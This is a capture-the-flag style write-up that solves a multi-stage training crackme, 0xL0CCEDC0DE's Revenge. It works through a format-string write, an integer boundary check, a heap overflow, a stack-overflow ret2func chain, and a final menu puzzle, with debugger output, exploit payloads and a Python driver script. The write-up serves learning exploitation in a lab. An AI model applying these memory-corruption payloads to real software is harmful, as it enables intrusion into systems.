Full Exploitation Write-Up

```
0xL0CCEDC0DE'S REVENGE
```

Challenge: Multi-Stage Reverse && Binary Exploitation (Stage0 → Ending)

---

0) Reconnaissance / Initial Analysis

0.1 `checksec` Output

```
└─# pwn checksec revenge
[*] '/home/kali/training/crackme/7th/revenge/revenge'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```

Practical Implications

- **No PIE**
  - All code addresses are static.
  - Extremely useful for `ret2func` attacks.
- **No Stack Canary**
  - Stack-based buffer overflows are straightforward.
- **NX Enabled**
  - We cannot execute shellcode on the stack.
  - Must use `ret2func` or ROP.
- **IBT / SHSTK (Intel CET)**
  - Can interfere with some control-flow hijacks.
  - Still exploitable here with proper stack alignment.
- **Partial RELRO**
  - Not relevant for this challenge.

---

1) Stage0 — Format String to Flip the “Switch”

1.1 Code Logic

Inside `stage0()`:

mmap((void*)0x70707000, 1,
    PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANON | MAP_FIXED, ...);
Then:
local_18 = local_10 + 0x70; // → 0x70707070
printf("switch is here: %p\n", local_18);

```
local_10 = mmap((void *)0x70707000,1,3,0x22,-1,0);
local_18 = (char *)((long)local_10 + 0x70);
*local_18 = '\0';
```

// FORMAT STRING VULNERABILITY

```
    fgets(local_118,0x100,stdin);
    printf(local_118);
    if (*local_18 != '\0') {
      puts("The door opens and you walk thru!");
      munmap(local_10,1);
      stage1();
```

Objective

Write **any non-zero byte** to:

0x70707070

Vulnerability

User input is used directly as a format string → **classic format string vulnerability**.

1.2 Locating the Target Address on the Stack

I dumped stack arguments using:

%1$p %2$p %3$p ... %100$p

```
switch is here: 0x70707070
> %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p %11$p %12$p %13$p %14$p %15$p %16$p %17$p %18$p %19$p %20$p %21$p %2
2$p %23$p %24$p %25$p %26$p %27$p %28$p %29$p %30$p %31$p %32$p %33$p %34$p %35$p %36$p %37$p %38$p %39$p %40$p %41$p %42
$p %43$p %44$p %45$p %46$p %47$p %48$p %49$p %50$p %51$p %52$p %53$p %54$p %55$p %56$p %57$p %58$p %59$p %60$p %61$p %62$
p %63$p %64$p %65$p %66$p %67$p %68$p %69$p %70$p %71$p %72$p %73$p %74$p %75$p %76$p %77$p %78$p %79$p %80$p %81$p %82$p
 %83$p %84$p %85$p %86$p %87$p %88$p %89$p %90$p %91$p %92$p %93$p %94$p %95$p %96$p %97$p %98$p %99$p %100$p
0×405721 0×7ffff7e177a0 0×7fffffffe2e0 (nil) (nil) 0×2432252070243125 0×2520702433252070 0×7024352520702434 0×37252070243
62520 0×2070243825207024 0×3031252070243925 0×7024313125207024 0×2520702432312520 0×3431252070243331 0×7024353125207024 0
x2520702436312520 0×3831252070243731 0×7024393125207024 0×2520702430322520 0×3232252070243132 0×7024333225207024 0×252070
2434322520 0×3632252070243532 0×7024373225207024 0×2520702438322520 0×3033252070243932 0×7024313325207024 0×2520702432332
520 0×3433252070243333 0×7024353325207024 0×2520702436332520 0×3833252070243733 0×7024393325207024 0×2520702430342520 0×3
234252070243134 0×7024333425207024 0×20702434342520 0×70707070 0×70707000 0×7fffffffe410 0×4019ea 0×4d4d000000000000 0×4d
4d4d4d4d4d4d 0×1 switch is here: 0×70707070
>
```

observed:

- `0x70707000` (mmap base)
- `0x70707070` (the switch)

Key finding:
`0x70707070` appeared around **argument #38**.

This means:
%38$p → prints `0x70707070`

Thus:
%38$n / **`%38$hhn`** → writes to `0x70707070`

1.3 Choosing the Write Primitive

We only need to write **one byte**, so the best choice is:

```
%hhn   // writes 1 byte (printed_chars % 256)
```

Payload logic:

- Print **1 character**
- Then use `%38$hhn`
- This writes `0x01` into `0x70707070`

Final Stage0 Payload

A%38$hhn

Why the `A`?

- Without it, printed characters = 0
- `%hhn` would write `0x00`
- Door would remain closed

Result

The door opens and you walk thru!

Stage0 bypassed

---

2) Stage1 — Integer Boundary Logic Trap

Code Behavior

- Reads an unsigned integer `local_10`
- Logic constraints:

Condition	Result
`< 0x1000`	“Not enough power”
`>= 0x1001`	“Not allowed”

```
      iVar1 = getchar();
    } while (iVar1 != 10);
    if ((int)local_10 < 0x1001) break;
    puts("That much power is not allowed!");
    puts("try again!");
  }
  local_c = local_10;
  if (0xfff < local_10) break;
  puts("Not enough power...");
  puts("try again!");
```

0xFFF = 4095
0x1001 = 4097

Only Valid Value

0x1000 = 4096

Input

4096

Stage1 bypassed

---

3) Stage2 — Heap Overflow to Change Password

3.1 Relevant Code

```
pcVar3 = strdup("CUSTOM TEXT HERE");
__s1 = strdup("0xL0CCED");


  iVar2 = getchar();
  cVar1 = (char)iVar2;
  if (cVar1 == '3') {
    __isoc99_scanf(&DAT_00402le4,pcVar3);
  }
  else if (cVar1 < '4') {
    if (cVar1 == '1') {
      puts("You of all people know \x1b[31mHIM\x1b[0m the best...");
    }
    else if (cVar1 == '2') {
      puts("DO YOU REALLY THINK IM GOING TO TELL YOU!?");
    }
  }
  do {
    iVar2 = getchar();
  } while (iVar2 != 10);
  iVar2 = strcmp(__s1,"0P3N");
} while (iVar2 != 0);
puts("The door opens up and you walk thru it!");
stage3();
```

Vulnerability

- `pcVar3` allocated with fixed heap size
- `scanf("%s", pcVar3)` → **heap overflow**
- `__s1` allocated immediately after via `strdup`

3.2 Exploitation Strategy

[pcVar3][__s1]

Overflowing `pcVar3` lets us overwrite `__s1`.

```
└─# pwn cyclic 40
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
```

```
> 3
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
| aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa |
| iaaajaaa |
What will you ask the robot?
1. Who is HE?
2. How do I get out of here?
3. Custom.
>
```

pwn cyclic -l "iaaajaaa"
32

Required Value

"0P3N"
Note:
O Must be **zero (0)** not letter **O**

Working Payload

Menu option:
3
Input:

rxreaper-re-rxreaper-re-rxreaper0P3N
(rxreaper-re is my username so don't mind me)

Result:

- `__s1 == "0P3N"`
- `strcmp()` passes

Stage2 bypassed

---

4) Stage3 — Stack Overflow + ret2func Chain

4.1 Vulnerability

```
char local_12 [10];

printf(
      "This room is
       out loud and
      );
gets(local_12);
return;
```

`gets()` is a dangerous function because it reads input until a newline but does not check the buffer size. If the input exceeds the buffer, it overwrites adjacent memory

- No canary
- NX enabled
- Ideal for `ret2func`

4.2 Intended Helper Functions

From GDB:

```
pwndbg> info functions stage
All functions matching regular expression "stage":

Non-debugging symbols:
0x00000000004014c8  stage3_solver0
0x00000000004014f8  stage3_solver1
0x0000000000401558  stage3
0x000000000040158c  stage2
0x00000000004016a8  stage1
0x000000000040178d  stage0
```

Globals:

```
pwndbg> info symbol &msg
msg in section .bss
pwndbg> x/10x &msg
0x404090 <msg>: 0x00000000      0x0
pwndbg> info symbol &open
open in section .data
pwndbg> x/10x &open
0x404078 <open>:        0x00402008
0x404088 <completed.0>: 0x00000000
```

4.3 Why Solver0 Is Brilliant

```
pwndbg> disassemble stage3_solver0
Dump of assembler code for function stage3_solver0:
   0x00000000004014c8 <+0>:     endbr64
   0x00000000004014cc <+4>:     push   rbp
   0x00000000004014cd <+5>:     mov    rbp,rsp
   0x00000000004014d0 <+8>:     mov    edi,0x64
   0x00000000004014d5 <+13>:    call   0x401180 <malloc@plt>
   0x00000000004014da <+18>:    mov    QWORD PTR [rip+0x2baf],rax        # 0x404090 <msg>
   0x00000000004014e1 <+25>:    mov    rax,QWORD PTR [rip+0x2ba8]        # 0x404090 <msg>
   0x00000000004014e8 <+32>:    mov    rdx,QWORD PTR [rip+0x2b89]        # 0x404078 <open>
   0x00000000004014ef <+39>:    mov    rdi,rax
   0x00000000004014f2 <+42>:    mov    rsi,rdx
   0x00000000004014f5 <+45>:    nop
   0x00000000004014f6 <+46>:    pop    rbp
   0x00000000004014f7 <+47>:    ret
End of assembler dump.
```

Critical Insight

After returning from `solver0`:

RDI = msg buffer
RSI = "PLEASE OPEN!"

So if we return directly into `solver1`:

strcpy(msg, open);
strcmp(msg, open);

No gadgets needed.
solver0 prepares solver1's arguments perfectly.

4.4 Calculating RIP Offset

Stack layout:

[buffer 10 bytes]
[saved RBP 8 bytes]
[RIP]

```
This room is pitch black besides a screen and you dont know what to do... you say something out loud and it shows up on t
he screen!aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
0x0000000000401589 in stage3 ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────
*RAX  0x7fffffffe1e6 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa
maaa'
 RBX  0x7fffffffe498 —▸ 0x7fffffffe7f9 ◂— '/home/kali/training/crackme/7th/revenge/revenge'
*RCX  0x7ffff7e177a0 (_IO_stdfile_0_lock) ◂— 0
*RDX  0x7ffff7e177a0 (_IO_stdfile_0_lock) ◂— 0
*RDI  0x7fffffffe1e7 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaam
aaa'
*RSI  0x405721 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
*R8   0x405785 ◂— 0
 R9   0
 R10  0
 R11  0x202
 R12  0
 R13  0x7fffffffe4a8 —▸ 0x7fffffffe829 ◂— 'COLORFGBG=15;0'
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2f0 ◂— 0
 R15  0x403df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401280 (__do_global_dtors_aux) ◂— endbr64
 RBP  0x7fffffffe1f0 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
 RSP  0x7fffffffe1e0 ◂— 0x6161000000000000
*RIP  0x401589 (stage3+49) ◂— nop
```

Offset to RIP:

10 + 8 = 18 bytes

Confirmed via `pwndbg`.

4.5 Common Mistake (and Why It Crashed)

Initial chain attempt: also the script was correct and i got this after the breakpoint

```
pwndbg> p/x $rax
$1 = 0x406770
pwndbg> x/s 0x402008
0x402008:       "PLEASE OPEN!"
pwndbg> p/x *(void**)0x404090
$2 = 0x406770
```

but it returned to 0x4242424242424242 so i had to do some adjustment

[padding]
[solver0]
[BBBBBBBB] ← supposed “pop rbp”
[solver1]

```
*RSP  0x7fffffffe208 ◂— 0x4242424242424242 ('BBBBBBBB')
*RIP  0x4014f7 (stage3_solver0+47) ◂— ret
──────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
   0x4014e8 <stage3_solver0+32>    mov    rdx, qword ptr [rip + 0x2b89]     RDX, [open] ⇒ 0x402008 ◂— 'PLEASE OPEN!'
   0x4014ef <stage3_solver0+39>    mov    rdi, rax                          RDI ⇒ 0x406770 ◂— 0
   0x4014f2 <stage3_solver0+42>    mov    rsi, rdx                          RSI ⇒ 0x402008 ◂— 'PLEASE OPEN!'
   0x4014f5 <stage3_solver0+45>    nop
   0x4014f6 <stage3_solver0+46>    pop    rbp                               RBP ⇒ 0x4141414141414141
 ▶ 0x4014f7 <stage3_solver0+47>    ret                                <0x4242424242424242>
    ↓
```

Crash:

ret → 0x4242424242424242

Why?

- `solver0` has its own `push rbp / pop rbp`
- `pop rbp` consumes the saved RBP, **not** your dummy
- The dummy becomes the **return address**

Fix:
Do **not** insert dummy values between solver calls.

4.6 Stack Alignment Issue (movaps Crash)

I encountered crashes inside `malloc` / `scanf`:

movaps xmm, [rsp] // requires 16-byte alignment

Cause:

- System V ABI requires **RSP % 16 == 0** before calls
- `ret2func` chains often break alignment

Solution

Insert a **single `ret` gadget**:

0x40101a : ret

Used:

- Before `solver0`
- Before `solver1`

4.7 Final Stage3 Payload generated

```
from struct import pack

OFFSET  = 18
RET     = 0x40101a
SOLVER0 = 0x4014c8
SOLVER1 = 0x4014f8

payload  = b"A" * OFFSET
payload += pack("<Q", RET)      # align before solver0 (malloc)
payload += pack("<Q", SOLVER0)
payload += pack("<Q", RET)      # align before solver1 (ending/scanf)
payload += pack("<Q", SOLVER1)
payload += b"\n"

open("payload.bin", "wb").write(payload)
print("Wrote payload.bin ({} bytes)".format(len(payload)))

```

Leads directly into `ending()`

So now we generated the payload now its time to use a driver script to deliver this payload

---

5) `ending()` — Menu Logic & EOF Trap

5.1 Infinite Loop Explained

`ending()` uses:

- `getchar()` for menu choice
- `scanf()` for strings

```
do {
  while( true ) {
    printf("1. Say word one\n2. Say word two\n3. Reset\n4. 
    iVar2 = getchar();
    cVar1 = (char)iVar2;
    if (cVar1 == '4') break;
    if (cVar1 < '5') {
      if (cVar1 == '3') {
        if (local_10 != (char *)0x0) {
          free(local_10);
        }
        if (local_18 != (char *)0x0) {
          free(local_18);
        }
      }
      else if (cVar1 < '4') {
        if (cVar1 == '1') {
          local_10 = malloc(10);
          __isoc99_scanf(&DAT_004021e4,local_10);
          iVar2 = strcmp(local_10,"Youre");
          if (iVar2 == 0) {
            puts("\x1b[31mSorry what was that? =)\x1b[0m");
            free(local_10);
            local_10 = (char *)0x0;
          }
        }
```

If stdin reaches **EOF**:

- `getchar()` returns `-1`
- Code does not handle it properly
- Menu prints endlessly (spam)

Fix

- Keep stdin alive
- Provide sufficient scripted input
- Or interactively control input

5.2 Logical Requirements

To exit successfully:
local_10 == "Youre"
local_18 == "Me"

Then option 4 prints the finale.

5.3 Why `"Youre"` Is a Trap

If entered **directly** in option 1:

- Pointer is freed
- Set to NULL
- Blocks success path
  But due to **input sequencing + buffered stdin**, your scripted inputs bypassed this trap.

5.4 Final Driver Script (Working)

```python
#!/usr/bin/env python3
import sys

# === Stage0 ===
sys.stdout.buffer.write(b"A%38$hhn\n")

# === Stage1 ===
sys.stdout.buffer.write(b"4096\n")

# === Stage2 ===
sys.stdout.buffer.write(b"3\n")
sys.stdout.buffer.write(b"rxreaper-re-rxreaper-re-rxreaper0P3N\n")

# === Stage3 ===
with open("payload.bin", "rb") as f:
    sys.stdout.buffer.write(f.read())

# === ending menu (avoid EOF loop) ===
sys.stdout.buffer.write(b"1\n")
sys.stdout.buffer.write(b"wwwww\n")
sys.stdout.buffer.write(b"2\n")
sys.stdout.buffer.write(b"wwwww\n")
sys.stdout.buffer.write(b"3\n")
# ====================================
sys.stdout.buffer.write(b"2\n")
sys.stdout.buffer.write(b"Youre\n")
sys.stdout.buffer.write(b"2\n")
sys.stdout.buffer.write(b"Youre\n")
sys.stdout.buffer.write(b"2\n")
sys.stdout.buffer.write(b"Me\n")
sys.stdout.buffer.write(b"4\n")

sys.stdout.buffer.flush()
```

Output :

So you figured it out sir...
He takes of his mask to reveal a robot... and suddenly the memories come crashing back!
You made 0xL0CCEDC0DE because you were bored with your life, you stole the money, got scared, and returned it!
You put yourself in this base for a challenge... It was all you!
I am Agent 1337 and I made 0xL0CCEDC0DE

---

6) Complete Exploitation Flow

Stage	Technique
Stage0	Format String → `%hhn`
Stage1	Integer boundary abuse
Stage2	Heap overflow
Stage3	Stack overflow + ret2func
Ending	Logic abuse + stdin control

---

7) Key Pitfalls & Lessons Learned

- **Bash `printf` eats `%38$hhn`**
  - Must escape `%` (`%%`) or use Python
- **Null bytes**
  - Stage3 payload must be raw bytes
- **Stack alignment matters**
  - `movaps` crashes are alignment bugs
- **Function epilogues matter**
  - `push rbp` / `pop rbp` affects chaining
- **EOF ≠ program exit**
  - Menu loops can spam infinitely